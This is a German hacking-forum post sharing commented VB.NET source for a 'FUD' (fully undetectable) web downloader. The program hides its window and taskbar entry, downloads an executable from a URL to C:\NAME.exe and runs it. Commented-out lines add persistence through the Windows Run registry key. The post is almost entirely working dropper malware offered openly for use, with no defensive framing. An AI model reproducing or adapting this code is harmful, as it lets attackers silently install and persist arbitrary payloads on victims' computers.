Hallo zusammen,
hier mein FUD Webdownloader, by r3miX
Alles durchkommentiert und übersichtlich gestaltet
FUD Webdownloader Source:
Code
- '~Falls ihr den Registryeintrag wählt, müsst ihr das noch "importieren" ;)
- '##Code Anfang##
- 'Imports Microsoft.Win32
- '##Code Ende##
- Public Class Form1
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- Me.Opacity = 0% '~Form unsichtbar machen.
- Me.ShowInTaskbar = False '~Form vor der Taskleiste unsichtbar machen.
- Dim uL As String = TextBox1.Text '~Url festlegen(in textbox).
- Dim dL As System.Net.WebClient = New System.Net.WebClient
- Dim dat As String = uL '~Url wird vereinfacht(unnötig).
- Dim nam As String = "C:\NAME.exe" '~Pfad + Name -> Speicherort.
- dL.DownloadFile(dat, nam) '~Download wird durchgefüh
- System.Threading.Thread.Sleep(1000)
- Process.Start("C:\NAME.exe") '~.exe wird gestartet.
- System.Threading.Thread.Sleep(1000) '~Warten, bis exe geloaded ist
- Me.Close() 'Form schlieÃ?en -> Download erfolgreich :)
- '~Natürlich könnte man die .exe erst in die Registry eintragen, und die .exe
- '~erst beim Reboot starten lassen ;)
- '~Das würde dann so gehen:
- '##Code Anfang##
- 'Dim RegKey As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
- 'RegKey.SetValue("PROGRAMM", "PFAD ZUM PROGRAMM)
- 'RegKey.Close()
- '##Code Ende##
- '~Natürlich ohne die '-Teile.
- 'by R3MiX :)
- 'codesoft.cc
- End Sub
- End Class
Originallink: http://board.codesoft.cc/showthread.php?t=2883
Und ja, ich r3miX x.x (L1ght1 kann es bestätigen!)